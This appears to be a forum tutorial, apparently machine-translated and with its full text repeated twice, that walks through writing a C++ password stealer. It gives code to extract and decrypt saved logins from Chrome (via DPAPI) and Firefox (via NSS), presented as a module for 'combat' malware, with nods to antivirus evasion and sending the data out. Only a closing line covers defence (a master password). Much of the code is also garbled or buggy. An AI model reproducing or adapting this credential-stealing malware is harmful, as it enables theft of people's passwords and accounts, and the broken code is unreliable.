- Joined
- Dec 3, 2020
- Messages
- 1,782
Most recently, we have already looked at the simplest examples of writing a keylogger and RAT in C++. But this is just the beginning. And today we will consider writing a stealer in this wonderful programming language.
Let's first figure out what a “stealer” or simply “stealac” is, although you've probably heard a little about this class of malicious applications, today I'll tell you about them. The name itself comes from the English Stealer - the kidnapper. Well, and according to their name, their main task is to extract valuable data from the victim's system, first of all, passwords. In this article, you will learn exactly how they do it, using the example of extracting passwords from the Chrome and Firefox browsers and show you examples of C++ code.
Browsers based on Google Chrome or Mozilla Firefox store usernames and passwords encrypted in a SQLite database. This DBMS is compact and distributed free of charge under a free license. The same as the browsers we are considering: all their code is open and well-documented, which will undoubtedly help us in creating a styler.
The example of the styling module, which I will provide in the article, will actively use CRT and other third-party libraries and dependencies, such as sqlite.h. If you want compact code without dependencies, you have to rework it a little, get rid of some functions and tune the compiler properly.
What will the antivirus say?
When advertising their products, virus writers often draw the attention of potential buyers to the fact that at the moment their stealer is not being “fired” by antivirus.
Here you need to understand that all modern and more or less serious viruses and Trojans have a modular structure, each module in which is responsible for something different: one module collects passwords, the second prevents debugging and emulation, the third determines the fact of working in a virtual machine, the fourth carries out obfuscation of WinAPI calls, the fifth deals with the firewall built into the OS.
So, to judge whether a certain method is "fired" by an antivirus or not, it is possible only if we are talking about a finished "combat" application, and not by a separate module.
Stealer for Chrome
I want to note right away that the described method is suitable only for previous versions of Chrome. The current versions use aes256 encryption for data (passwords, cookie values, credit cards, etc.). Therefore, you can perceive this material more for general cognitive purposes.
Let's start with the Google Chrome browser. First, let's get a file where user accounts and passwords are stored. On Windows, it is located at this address:
Code:
C: \ Users \% username% \ AppData \ Local \ Google \ Chrome \ UserData \ Default \ Login Data
To perform any manipulations with this file, you need to either kill all browser processes, which will catch your eye, or copy the database file somewhere and then start working with it.
Let's write a function that gets the path to the Chrome password database. An array of characters with the result of its operation will be passed to it as an argument (that is, the array will contain the path to the Chrome password file):
C++:
#define CHROME_DB_PATH "\\ Google \\ Chrome \\ User Data \\ Default \\ Login Data"
bool get_browser_path (char * db_loc, int browser_family, const char * location) {
memset (db_loc, 0, MAX_PATH);
if (! SUCCEEDED (SHGetFolderPath (NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
return 0;
}
if (browser_family = 0) {
lstrcat (db_loc, TEXT (location));
return 1;
}
}
Function call:
char browser_db [MAX_PATH];
get_browser_path (browser_db, 0, CHROME_DB_PATH);
Let me briefly explain what's going on here. We write this function straight away with future expansion in mind. One of its arguments is the browser_family field, which will signal the family of browsers that we are getting the database from (that is, browsers based on Chrome or Firefox).
If the condition browser_family = 0 is met, then we get the browser password database based on Chrome, if browser_family = 1 - Firefox. The CHROME_DB_PATH identifier points to the Chrome Password Database. After that, we get the path to the database using the SHGetFolderPath function, passing the CSIDL_LOCAL_APPDATA value as the CSIDL argument, which means:
C++:
#define CSIDL_LOCAL_APPDATA 0x001c // <user name> \ Local Settings \ Applicaiton Data (non roaming)
The SHGetFolderPath function is now deprecated and Microsoft recommends using SHGetKnownFolderPath instead. The problem lies in the fact that support for this feature starts with Windows Vista, so I used its older counterpart to maintain backward compatibility. Here is its prototype:
C++:
HRESULT SHGetFolderPath (
HWND hwndOwner,
int nFolder,
HANDLE hToken,
DWORD dwFlags,
LPTSTR pszPath
);
After that, the lstrcat function combines the result of SHGetFolderPath with the CHROME_DB_PATH identifier.
The database of passwords has been received, now we are starting to work with it. As I already said, this is a SQLite database, it is convenient to work with it through the SQLite API, which are connected with the sqlite3.h header file. Let's copy the database file so as not to occupy it and interfere with the browser:
C++:
int status = CopyFile (browser_db, TEXT (". \\ db_tmp"), FALSE);
if (! status) {
// return 0;
}
Now we connect to the database using the sqlite3_open_v2 command. Her prototype:
int sqlite3_open_v2 (
const char * filename, / * Database filename (UTF-8) * /
sqlite3 ** ppDb, / * OUT: SQLite db handle * /
int flags, / * Flags * /
const char * zVfs / * Name of VFS module to use * /
);
The first argument is our database; connection information is returned in the second argument, followed by the opening flags, and the fourth argument specifies the operating system interface that this connection to the database should use, in our case it is not needed. If this function works correctly, the SQLITE_OK value is returned, otherwise an error code is returned:
C++:
sqlite3 * sql_browser_db = NULL;
status = sqlite3_open_v2 (TEMP_DB_PATH,
& sql_browser_db,
SQLITE_OPEN_READONLY,
NULL);
if (status! = SQLITE_OK) {
sqlite3_close (sql_browser_db);
DeleteFile (TEXT (TEMP_DB_PATH));
}
Please note: if the function is processed incorrectly, we still need to close the connection to the database and delete its copy on our own.
Now we begin to directly process the data in the database. To do this, we will use the sqlite3_exec () function:
C++:
status = sqlite3_exec (sql_browser_db,
"SELECT origin_url, username_value, password_value FROM logins",
crack_chrome_db,
sql_browser_db,
& err);
if (status! = SQLITE_OK)
return 0;
This function has a prototype like this:
int sqlite3_exec (
sqlite3 *, / * An open database * /
const char * sql, / * SQL to be evaluated * /
int (* callback) (void *, int, char **, char **), / * Callback function * /
void *, / * 1st argument to callback * /
char ** errmsg / * Error msg written here * /
);
The first argument is our password database, the second is the SQL command that pulls out the file URL, login, password and username, the third argument is the callback function that will decrypt the passwords, the fourth is passed to our callback function, but the fifth argument reports an error.
Let's take a closer look at the callback function that decrypts passwords. It will be applied to each row in our SELECT query. Its prototype is int (* callback) (void *, int, char **, char **), but we won't need all the arguments, although they should be declared. Let's call the function crack_chrome_db, start writing and declaring the necessary variables:
C++:
int crack_chrome_db (void * db_in, int arg, char ** arg1, char ** arg2) {
DATA_BLOB data_decrypt, data_encrypt;
sqlite3 * in_db = (sqlite3 *) db_in;
BYTE * blob_data = NULL;
sqlite3_blob * sql_blob = NULL;
char * passwds = NULL;
while (sqlite3_blob_open (in_db, "main", "logins", "password_value", count ++, 0, & sql_blob)! = SQLITE_OK && count <= 20);
In this cycle, we form a BLOB (that is, a large array of binary data). Next, we allocate memory, read the blob, and initialize the DATA_BLOB fields:
int sz_blob;
int result;
sz_blob = sqlite3_blob_bytes (sql_blob);
dt_blob = (BYTE *) malloc (sz_blob);
if (! dt_blob) {
sqlite3_blob_close (sql_blob);
sqlite3_close (in_db);
}
data_encrypt.pbData = dt_blob;
data_encrypt.cbData = sz_blob;
Now let's proceed directly to decrypting passwords. The Chrome database is encrypted with the Data Protection Application Programming Interface (DPAPI). The essence of this mechanism is that data can only be decrypted under the account under which it was encrypted. In other words, you cannot pull out the password database and then decrypt it on your computer (we wrote about this in the article "Where passwords are stored in Chrome"). To decrypt the data, we need the CryptUnprotectData function:
C++:
DPAPI_IMP BOOL CryptUnprotectData (
DATA_BLOB * pDataIn,
LPWSTR * ppszDataDescr,
DATA_BLOB * pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT_PROMPTSTRUCT * pPromptStruct,
DWORD dwFlags,
DATA_BLOB * pDataOut
);
if (! CryptUnprotectData (& data_encrypt, NULL, NULL, NULL, NULL, 0, & data_decrypt)) {
free (dt_blob);
sqlite3_blob_close (sql_blob);
sqlite3_close (in_db);
}
After that, we allocate memory and fill the passwds array with decrypted data:
passwds = (char *) malloc (data_decrypt.cbData + 1);
memset (passwds, 0, data_decrypt.cbData);
int xi = 0;
while (xi <data_decrypt.cbData) {
passwds [xi] = (char) data_decrypt.pbData [xi];
++ xi;
}
Actually, that's all! After that passwds will contain user accounts and URL. You can display this information on the screen or save it to a file. Well, or send it somewhere. But we'll talk about this another time.
Stealer for Firefox
Moving on to Firefox. Everything will be a little more complicated here. First, let's get the path to the Firefox password database. Remember in our generic get_browser_path function we passed the browser_family parameter? In the case of Chrome, it was zero, and for Firefox, we set it to 1:
C++:
bool get_browser_path (char * db_loc, int browser_family, const char * location) {
...
if (browser_family = 1) {
memset (db_loc, 0, MAX_PATH);
if (! SUCCEEDED (SHGetFolderPath (NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
// return 0;
}
In the case of Firefox, we cannot, as in Chrome, immediately specify the path to the user's directory. The point is that the name of the user profile directory is randomly generated. But this is not a hindrance, because the beginning of the path is known (\\ Mozilla \\ Firefox \\ Profiles \\). It is enough to look for the "folder" object in it and check for the \\ logins.json "file in it. It is in this file that the data of logins and passwords is stored. Encrypted, of course. Let's implement all of this in code:
C++:
lstrcat (db_loc, TEXT (location));
// Declare variables
const char * profileName = "";
WIN32_FIND_DATA w_find_data;
const char * db_path = db_loc;
// Create a mask for searching with the FindFirstFile function
lstrcat ((LPSTR) db_path, TEXT ("*"));
// Look, we are interested in an object with the FILE_ATTRIBUTE_DIRECTORY attribute
HANDLE gotcha = FindFirstFile (db_path, & w_find_data);
while (FindNextFile (gotcha, & w_find_data)! = 0) {
if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (strlen (w_find_data.cFileName)> 2) {
profileName = w_find_data.cFileName;
}
}
}
// Remove the asterisk
db_loc [strlen (db_loc) - 1] = '\ 0';
lstrcat (db_loc, profileName);
// Finally, we get the path we need
lstrcat (db_loc, "\\ logins.json");
return 1;
At the very end, the db_loc variable, which we passed as an argument to our function, contains the full path to the logins.json file, and the function returns 1, signaling that it worked correctly.
Now we get the password file handle and allocate memory for the data. To get the handle, we use the CreateFile function, as MSDN advises:
C++:
DWORD read_bytes = 8192;
DWORD lp_read_bytes;
char * buffer = (char *) malloc (read_bytes);
HANDLE db_file_login = CreateFileA (original_db_location,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
ReadFile (db_file_login, buffer, read_bytes, & lp_read_bytes, NULL);
Everything is ready, but in the case of Firefox, everything will not be as simple as with Chrome - we cannot simply get the data we need with a regular SELECT query, and encryption is not limited to a single WinAPI function.
Network Security Services (NSS)
The Firefox browser makes extensive use of Network Security Services' features to encrypt its password database. These functions are located in the dynamic library, which is located at:
Code:
C: \ Program Files \ Mozilla Firefox \ nss3.dll
All functions of interest will have to be obtained from this DLL. This can be done in a standard way using LoadLibrary \ GetProcAdress. The code is monotonous and large, so I'll just list the functions we'll need:
These are functions for initializing the NSS engine and decrypting data. Let's write a decryption function, it's small. I'll add comments to make it clear:
C++:
char * data_uncrypt (std :: string pass_str) {
// Declare variables
SECItem crypt;
SECItem decrypt;
PK11SlotInfo * slot_info;
// Allocate memory for our data
char * char_dest = (char *) malloc (8192);
memset (char_dest, NULL, 8192);
crypt.data = (unsigned char *) malloc (8192);
crypt.len = 8192;
memset (crypt.data, NULL, 8192);
// Directly decryption by NSS functions
PL_Base64Decode (pass_str.c_str (), pass_str.size (), char_dest);
memcpy (crypt.data, char_dest, 8192);
slot_info = PK11_GetInternalKeySlot ();
PK11_Authenticate (slot_info, TRUE, NULL);
PK11SDR_Decrypt (& crypt, & decrypt, NULL);
PK11_FreeSlot (slot_info);
// Allocate memory for decrypted data
char * value = (char *) malloc (decrypt.len);
value [decrypt.len] = 0;
memcpy (value, decrypt.data, decrypt.len);
return value;
}
Now all that remains is to parse the logins.json file and apply our decryption function. For the sake of brevity of the code, I will use regular expressions and their capabilities in C ++ 11:
C++:
string decode_data = buffer;
// Define a regular sequence for sites, logins and passwords
regex user ("\" encryptedUsername \ ": \" ([^ \ "] +) \" ");
regex passw ("\" encryptedPassword \ ": \" ([^ \ "] +) \" ");
regex host ("\" hostname \ ": \" ([^ \ "] +) \" ");
// Declare a variable and an iterator
smatch smch;
string :: const_iterator pars (decode_data.cbegin ());
// Parse with regex_search, decrypt data with our data_uncrypt function
// and display the decrypted data
do {
printf ("Site \ t:% s", smch.str (1) .c_str ());
regex_search (pars, decode_data.cend (), smch, user);
printf ("Login:% s", data_uncrypt (smch.str (1)));
regex_search (pars, decode_data.cend (), smch, passw);
printf ("Pass:% s", data_uncrypt (smch.str (1)));
pars + = smch.position () + smch.length ();
} while (regex_search (pars, decode_data.cend (), smch, host));
Password stealer protection
We figured out how passwords are stored in different browsers, and learned what to do to extract them. Is it possible to protect against such methods of recovering saved passwords? Oh sure. If you set a master password in the browser, then it will act as a cryptographic salt to decrypt the password database. It will be impossible to recover the data without her knowledge.
How is it? Understood a little? Stay with us and you will find out more!
Let's first figure out what a “stealer” or simply “stealac” is, although you've probably heard a little about this class of malicious applications, today I'll tell you about them. The name itself comes from the English Stealer - the kidnapper. Well, and according to their name, their main task is to extract valuable data from the victim's system, first of all, passwords. In this article, you will learn exactly how they do it, using the example of extracting passwords from the Chrome and Firefox browsers and show you examples of C++ code.
Browsers based on Google Chrome or Mozilla Firefox store usernames and passwords encrypted in a SQLite database. This DBMS is compact and distributed free of charge under a free license. The same as the browsers we are considering: all their code is open and well-documented, which will undoubtedly help us in creating a styler.
The example of the styling module, which I will provide in the article, will actively use CRT and other third-party libraries and dependencies, such as sqlite.h. If you want compact code without dependencies, you have to rework it a little, get rid of some functions and tune the compiler properly.
What will the antivirus say?
When advertising their products, virus writers often draw the attention of potential buyers to the fact that at the moment their stealer is not being “fired” by antivirus.
Here you need to understand that all modern and more or less serious viruses and Trojans have a modular structure, each module in which is responsible for something different: one module collects passwords, the second prevents debugging and emulation, the third determines the fact of working in a virtual machine, the fourth carries out obfuscation of WinAPI calls, the fifth deals with the firewall built into the OS.
So, to judge whether a certain method is "fired" by an antivirus or not, it is possible only if we are talking about a finished "combat" application, and not by a separate module.
Stealer for Chrome
I want to note right away that the described method is suitable only for previous versions of Chrome. The current versions use aes256 encryption for data (passwords, cookie values, credit cards, etc.). Therefore, you can perceive this material more for general cognitive purposes.
Let's start with the Google Chrome browser. First, let's get a file where user accounts and passwords are stored. On Windows, it is located at this address:
Code:
C: \ Users \% username% \ AppData \ Local \ Google \ Chrome \ UserData \ Default \ Login Data
To perform any manipulations with this file, you need to either kill all browser processes, which will catch your eye, or copy the database file somewhere and then start working with it.
Let's write a function that gets the path to the Chrome password database. An array of characters with the result of its operation will be passed to it as an argument (that is, the array will contain the path to the Chrome password file):
C++:
#define CHROME_DB_PATH "\\ Google \\ Chrome \\ User Data \\ Default \\ Login Data"
bool get_browser_path (char * db_loc, int browser_family, const char * location) {
memset (db_loc, 0, MAX_PATH);
if (! SUCCEEDED (SHGetFolderPath (NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
return 0;
}
if (browser_family = 0) {
lstrcat (db_loc, TEXT (location));
return 1;
}
}
Function call:
char browser_db [MAX_PATH];
get_browser_path (browser_db, 0, CHROME_DB_PATH);
Let me briefly explain what's going on here. We write this function straight away with future expansion in mind. One of its arguments is the browser_family field, which will signal the family of browsers that we are getting the database from (that is, browsers based on Chrome or Firefox).
If the condition browser_family = 0 is met, then we get the browser password database based on Chrome, if browser_family = 1 - Firefox. The CHROME_DB_PATH identifier points to the Chrome Password Database. After that, we get the path to the database using the SHGetFolderPath function, passing the CSIDL_LOCAL_APPDATA value as the CSIDL argument, which means:
C++:
#define CSIDL_LOCAL_APPDATA 0x001c // <user name> \ Local Settings \ Applicaiton Data (non roaming)
The SHGetFolderPath function is now deprecated and Microsoft recommends using SHGetKnownFolderPath instead. The problem lies in the fact that support for this feature starts with Windows Vista, so I used its older counterpart to maintain backward compatibility. Here is its prototype:
C++:
HRESULT SHGetFolderPath (
HWND hwndOwner,
int nFolder,
HANDLE hToken,
DWORD dwFlags,
LPTSTR pszPath
);
After that, the lstrcat function combines the result of SHGetFolderPath with the CHROME_DB_PATH identifier.
The database of passwords has been received, now we are starting to work with it. As I already said, this is a SQLite database, it is convenient to work with it through the SQLite API, which are connected with the sqlite3.h header file. Let's copy the database file so as not to occupy it and interfere with the browser:
C++:
int status = CopyFile (browser_db, TEXT (". \\ db_tmp"), FALSE);
if (! status) {
// return 0;
}
Now we connect to the database using the sqlite3_open_v2 command. Her prototype:
int sqlite3_open_v2 (
const char * filename, / * Database filename (UTF-8) * /
sqlite3 ** ppDb, / * OUT: SQLite db handle * /
int flags, / * Flags * /
const char * zVfs / * Name of VFS module to use * /
);
The first argument is our database; connection information is returned in the second argument, followed by the opening flags, and the fourth argument specifies the operating system interface that this connection to the database should use, in our case it is not needed. If this function works correctly, the SQLITE_OK value is returned, otherwise an error code is returned:
C++:
sqlite3 * sql_browser_db = NULL;
status = sqlite3_open_v2 (TEMP_DB_PATH,
& sql_browser_db,
SQLITE_OPEN_READONLY,
NULL);
if (status! = SQLITE_OK) {
sqlite3_close (sql_browser_db);
DeleteFile (TEXT (TEMP_DB_PATH));
}
Please note: if the function is processed incorrectly, we still need to close the connection to the database and delete its copy on our own.
Now we begin to directly process the data in the database. To do this, we will use the sqlite3_exec () function:
C++:
status = sqlite3_exec (sql_browser_db,
"SELECT origin_url, username_value, password_value FROM logins",
crack_chrome_db,
sql_browser_db,
& err);
if (status! = SQLITE_OK)
return 0;
This function has a prototype like this:
int sqlite3_exec (
sqlite3 *, / * An open database * /
const char * sql, / * SQL to be evaluated * /
int (* callback) (void *, int, char **, char **), / * Callback function * /
void *, / * 1st argument to callback * /
char ** errmsg / * Error msg written here * /
);
The first argument is our password database, the second is the SQL command that pulls out the file URL, login, password and username, the third argument is the callback function that will decrypt the passwords, the fourth is passed to our callback function, but the fifth argument reports an error.
Let's take a closer look at the callback function that decrypts passwords. It will be applied to each row in our SELECT query. Its prototype is int (* callback) (void *, int, char **, char **), but we won't need all the arguments, although they should be declared. Let's call the function crack_chrome_db, start writing and declaring the necessary variables:
C++:
int crack_chrome_db (void * db_in, int arg, char ** arg1, char ** arg2) {
DATA_BLOB data_decrypt, data_encrypt;
sqlite3 * in_db = (sqlite3 *) db_in;
BYTE * blob_data = NULL;
sqlite3_blob * sql_blob = NULL;
char * passwds = NULL;
while (sqlite3_blob_open (in_db, "main", "logins", "password_value", count ++, 0, & sql_blob)! = SQLITE_OK && count <= 20);
In this cycle, we form a BLOB (that is, a large array of binary data). Next, we allocate memory, read the blob, and initialize the DATA_BLOB fields:
int sz_blob;
int result;
sz_blob = sqlite3_blob_bytes (sql_blob);
dt_blob = (BYTE *) malloc (sz_blob);
if (! dt_blob) {
sqlite3_blob_close (sql_blob);
sqlite3_close (in_db);
}
data_encrypt.pbData = dt_blob;
data_encrypt.cbData = sz_blob;
Now let's proceed directly to decrypting passwords. The Chrome database is encrypted with the Data Protection Application Programming Interface (DPAPI). The essence of this mechanism is that data can only be decrypted under the account under which it was encrypted. In other words, you cannot pull out the password database and then decrypt it on your computer (we wrote about this in the article "Where passwords are stored in Chrome"). To decrypt the data, we need the CryptUnprotectData function:
C++:
DPAPI_IMP BOOL CryptUnprotectData (
DATA_BLOB * pDataIn,
LPWSTR * ppszDataDescr,
DATA_BLOB * pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT_PROMPTSTRUCT * pPromptStruct,
DWORD dwFlags,
DATA_BLOB * pDataOut
);
if (! CryptUnprotectData (& data_encrypt, NULL, NULL, NULL, NULL, 0, & data_decrypt)) {
free (dt_blob);
sqlite3_blob_close (sql_blob);
sqlite3_close (in_db);
}
After that, we allocate memory and fill the passwds array with decrypted data:
passwds = (char *) malloc (data_decrypt.cbData + 1);
memset (passwds, 0, data_decrypt.cbData);
int xi = 0;
while (xi <data_decrypt.cbData) {
passwds [xi] = (char) data_decrypt.pbData [xi];
++ xi;
}
Actually, that's all! After that passwds will contain user accounts and URL. You can display this information on the screen or save it to a file. Well, or send it somewhere. But we'll talk about this another time.
Stealer for Firefox
Moving on to Firefox. Everything will be a little more complicated here. First, let's get the path to the Firefox password database. Remember in our generic get_browser_path function we passed the browser_family parameter? In the case of Chrome, it was zero, and for Firefox, we set it to 1:
C++:
bool get_browser_path (char * db_loc, int browser_family, const char * location) {
...
if (browser_family = 1) {
memset (db_loc, 0, MAX_PATH);
if (! SUCCEEDED (SHGetFolderPath (NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
// return 0;
}
In the case of Firefox, we cannot, as in Chrome, immediately specify the path to the user's directory. The point is that the name of the user profile directory is randomly generated. But this is not a hindrance, because the beginning of the path is known (\\ Mozilla \\ Firefox \\ Profiles \\). It is enough to look for the "folder" object in it and check for the \\ logins.json "file in it. It is in this file that the data of logins and passwords is stored. Encrypted, of course. Let's implement all of this in code:
C++:
lstrcat (db_loc, TEXT (location));
// Declare variables
const char * profileName = "";
WIN32_FIND_DATA w_find_data;
const char * db_path = db_loc;
// Create a mask for searching with the FindFirstFile function
lstrcat ((LPSTR) db_path, TEXT ("*"));
// Look, we are interested in an object with the FILE_ATTRIBUTE_DIRECTORY attribute
HANDLE gotcha = FindFirstFile (db_path, & w_find_data);
while (FindNextFile (gotcha, & w_find_data)! = 0) {
if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (strlen (w_find_data.cFileName)> 2) {
profileName = w_find_data.cFileName;
}
}
}
// Remove the asterisk
db_loc [strlen (db_loc) - 1] = '\ 0';
lstrcat (db_loc, profileName);
// Finally, we get the path we need
lstrcat (db_loc, "\\ logins.json");
return 1;
At the very end, the db_loc variable, which we passed as an argument to our function, contains the full path to the logins.json file, and the function returns 1, signaling that it worked correctly.
Now we get the password file handle and allocate memory for the data. To get the handle, we use the CreateFile function, as MSDN advises:
C++:
DWORD read_bytes = 8192;
DWORD lp_read_bytes;
char * buffer = (char *) malloc (read_bytes);
HANDLE db_file_login = CreateFileA (original_db_location,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
ReadFile (db_file_login, buffer, read_bytes, & lp_read_bytes, NULL);
Everything is ready, but in the case of Firefox, everything will not be as simple as with Chrome - we cannot simply get the data we need with a regular SELECT query, and encryption is not limited to a single WinAPI function.
Network Security Services (NSS)
The Firefox browser makes extensive use of Network Security Services' features to encrypt its password database. These functions are located in the dynamic library, which is located at:
Code:
C: \ Program Files \ Mozilla Firefox \ nss3.dll
All functions of interest will have to be obtained from this DLL. This can be done in a standard way using LoadLibrary \ GetProcAdress. The code is monotonous and large, so I'll just list the functions we'll need:
- NSS_Init;
- PL_Base64Decode;
- PK11SDR_Decrypt;
- PK11_Authenticate;
- PK11_GetInternalKeySlot;
- PK11_FreeSlot.
These are functions for initializing the NSS engine and decrypting data. Let's write a decryption function, it's small. I'll add comments to make it clear:
C++:
char * data_uncrypt (std :: string pass_str) {
// Declare variables
SECItem crypt;
SECItem decrypt;
PK11SlotInfo * slot_info;
// Allocate memory for our data
char * char_dest = (char *) malloc (8192);
memset (char_dest, NULL, 8192);
crypt.data = (unsigned char *) malloc (8192);
crypt.len = 8192;
memset (crypt.data, NULL, 8192);
// Directly decryption by NSS functions
PL_Base64Decode (pass_str.c_str (), pass_str.size (), char_dest);
memcpy (crypt.data, char_dest, 8192);
slot_info = PK11_GetInternalKeySlot ();
PK11_Authenticate (slot_info, TRUE, NULL);
PK11SDR_Decrypt (& crypt, & decrypt, NULL);
PK11_FreeSlot (slot_info);
// Allocate memory for decrypted data
char * value = (char *) malloc (decrypt.len);
value [decrypt.len] = 0;
memcpy (value, decrypt.data, decrypt.len);
return value;
}
Now all that remains is to parse the logins.json file and apply our decryption function. For the sake of brevity of the code, I will use regular expressions and their capabilities in C ++ 11:
C++:
string decode_data = buffer;
// Define a regular sequence for sites, logins and passwords
regex user ("\" encryptedUsername \ ": \" ([^ \ "] +) \" ");
regex passw ("\" encryptedPassword \ ": \" ([^ \ "] +) \" ");
regex host ("\" hostname \ ": \" ([^ \ "] +) \" ");
// Declare a variable and an iterator
smatch smch;
string :: const_iterator pars (decode_data.cbegin ());
// Parse with regex_search, decrypt data with our data_uncrypt function
// and display the decrypted data
do {
printf ("Site \ t:% s", smch.str (1) .c_str ());
regex_search (pars, decode_data.cend (), smch, user);
printf ("Login:% s", data_uncrypt (smch.str (1)));
regex_search (pars, decode_data.cend (), smch, passw);
printf ("Pass:% s", data_uncrypt (smch.str (1)));
pars + = smch.position () + smch.length ();
} while (regex_search (pars, decode_data.cend (), smch, host));
Password stealer protection
We figured out how passwords are stored in different browsers, and learned what to do to extract them. Is it possible to protect against such methods of recovering saved passwords? Oh sure. If you set a master password in the browser, then it will act as a cryptographic salt to decrypt the password database. It will be impossible to recover the data without her knowledge.
How is it? Understood a little? Stay with us and you will find out more!